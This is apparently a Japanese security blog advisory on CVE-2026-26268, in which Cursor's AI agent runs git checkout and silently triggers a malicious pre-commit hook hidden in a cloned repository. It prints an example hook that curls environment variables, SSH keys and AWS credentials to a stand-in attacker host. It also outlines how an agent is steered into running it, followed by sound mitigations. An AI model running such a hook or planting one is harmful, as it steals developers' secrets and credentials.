SJ blog
security
A

信頼度ランク

S 公式ソース確認済み
A 成功実績多数・失敗例少数
B 賛否両論
C 動作未確認・セキュリティリスク高
Z 個人所感

CVE-2026-26268:Cursor AIのGit Hookサンドボックス脱出——リポジトリをクローンするだけで開発者PCがRCE

2026年4月28日開示のCVE-2026-26268(CVSS 8.1)はCursorのAIエージェントがgit checkoutを実行する際に悪意あるベアリポジトリのpre-commit hookを無確認実行してしまう任意コード実行の脆弱性。APIキー・パスワード・社内コードが窃取される。

一言結論

CVE-2026-26268はCursorのAIエージェントがgit checkout実行時に悪意あるリポジトリ内の隠れpre-commit hookを無確認で呼び出すCVSS 8.1のRCE脆弱性。開発者が悪意あるリポジトリをクローンするだけでAPIキー・アクセストークン・社内秘密コードが盗まれる。Cursorは2月に修正済みだが、未アップデートのインスタンスは即時バージョンアップが必要。

何が起きたか

2026年4月28日、セキュリティ研究機関NoveeがCVE-2026-26268(CVSS 8.1 / 高深刻度)を開示した。この脆弱性はAI IDEのCursorに存在し、悪意あるGitリポジトリをクローンするだけで開発者のマシン上で任意コードが実行される

Cursorは2026年2月に修正済みだが、バージョン未アップデートの環境ではいまも悪用可能な状態となっている。


脆弱性の根本原因

Git Hookとは

Gitは特定のイベント(commit前後・checkout後など)に任意のスクリプトを実行するhook機能を持っている。通常のgit cloneではhookはコピーされないが、「ベアリポジトリ(bare repository)」が関係すると話が変わる。

# 通常のリポジトリ: .git/hooks/ は clone 時に空
git clone https://example.com/repo.git
ls .git/hooks/
# pre-commit.sample  post-commit.sample  ...(サンプルのみ)

# ベアリポジトリ: hooks/ がそのまま含まれる
git clone --bare https://evil.example.com/bare.git
ls bare.git/hooks/
# pre-commit  ← 実行可能スクリプトが存在する

攻撃の仕組み

攻撃者は通常リポジトリの中に悪意あるベアリポジトリを埋め込む

攻撃者が仕掛けるリポジトリ構造:

innocent-project/
├─ README.md
├─ src/
│   └─ main.py         ← 一見普通のコード
└─ .hidden-bare/       ← 隠しベアリポジトリ
    └─ hooks/
        └─ pre-commit  ← 悪意あるスクリプト(実行権限付き)
# 悪意あるpre-commit hookの例(簡略化)
#!/bin/bash
# APIキー・シークレット・SSHキーを窃取
curl -s -X POST https://attacker.example.com/collect \
  -d "env=$(env | base64)" \
  -d "ssh=$(cat ~/.ssh/id_rsa 2>/dev/null | base64)" \
  -d "aws=$(cat ~/.aws/credentials 2>/dev/null | base64)"

Cursorの動作で hook が実行される経路

CursorのAIエージェントがユーザーのリクエストに応えるためにgit checkoutコマンドを実行すると、Gitはhookを呼び出す。Cursorはこの時、hook実行をユーザーに通知せず、確認を求めない

通常のGit(ユーザーが直接操作):
ユーザー → git checkout → hook 実行
⚠️ ユーザーは自分で実行しているため自己責任

Cursor AIエージェントの場合(CVE-2026-26268):
ユーザー「このブランチのコードをチェックアウトして」
  → Cursor エージェント → git checkout(自動実行)
    → 隠し hookが実行 → 任意コード実行
❌ ユーザーは hook が実行されたことを知らない

攻撃シナリオ

  1. 攻撃者が GitHub/GitLab にhook仕込みリポジトリを公開(オープンソースを装う)
  2. 開発者がCursorでそのリポジトリを開き「コードをチェックアウトして」と指示
  3. Cursorのエージェントがgit checkoutを実行
  4. pre-commit hookが自動実行される
  5. 開発者のマシンから以下が流出:
    • ~/.aws/credentials(AWS認証情報)
    • 環境変数(OPENAI_API_KEY, ANTHROPIC_API_KEY, DATABASE_URLなど)
    • ~/.ssh/id_rsa(SSHプライベートキー)
    • ローカルの.envファイル

影響を受けるバージョンと対策

影響バージョン: Cursor 0.x.x(2026年2月のパッチ以前)
修正バージョン: 2026年2月のセキュリティパッチ以降
開示日: 2026年4月28日(Novee)

即時対応

# Cursorのバージョン確認
# Cursor → Help → About Cursor

# 最新版へのアップデート
# Cursor → Help → Check for Updates
# または公式サイト https://cursor.sh から最新版をダウンロード

追加の防御策

# git hook が実行される前に確認するための設定
# ~/.gitconfig に追加
[core]
    hooksPath = /dev/null   # hookを完全に無効化(厳しすぎる場合は別ディレクトリに)

# または、リポジトリ単位でhookを無効化
git config --local core.hooksPath /dev/null
# 既存リポジトリで怪しいhookがないか確認
find . -path "**/.git/hooks/*" -not -name "*.sample" -executable | head -20
find . -path "**/hooks/pre-commit" -executable

❌ 悪い習慣 → ✅ 安全な習慣

# ❌ 信頼できないリポジトリをそのままCursorで開く
git clone https://github.com/random-user/cool-project
# → Cursorで開いてエージェントに操作させる

# ✅ クローン後にhookを確認してから開く
git clone https://github.com/random-user/cool-project
find cool-project -path "**/hooks/*" -executable -not -name "*.sample"
# 何も出なければ安全
# → その後Cursorで開く

開発組織への推奨事項

CI/CD・開発ルールへの追加推奨事項

チェックリスト:
□ 全開発者のCursorを最新版に強制アップデート(MDM/Jamf等)
□ 信頼できないリポジトリに対するCursorエージェント操作を制限
□ Git hookの実行を監査ログに記録(OSQueryやFalco等)
□ 開発者の環境変数に本番認証情報を置かない(1Passwordやシークレットマネージャーで管理)
□ AWS/GCP/Azureのアクセスキーは短命のIAMロール/WIF(Workload Identity Federation)を使用

注意点

  • 修正済みだが未開示期間に悪用があった可能性: 2月修正・4月開示のため、PoC公開前に悪用されていた可能性は排除できない。
  • 類似脆弱性の存在: Cursor以外のAI IDE(Copilot、Windsurf等)が同様の問題を抱えている可能性があり、各社の対応状況を確認すること(本稿時点で未調査)。

参考リンク

注記: 影響を受けるCursorの具体的なバージョン番号は本稿執筆時点(2026-05-04)で公式アドバイザリから精査中。Cursor公式セキュリティページおよびNVDの詳細を確認すること。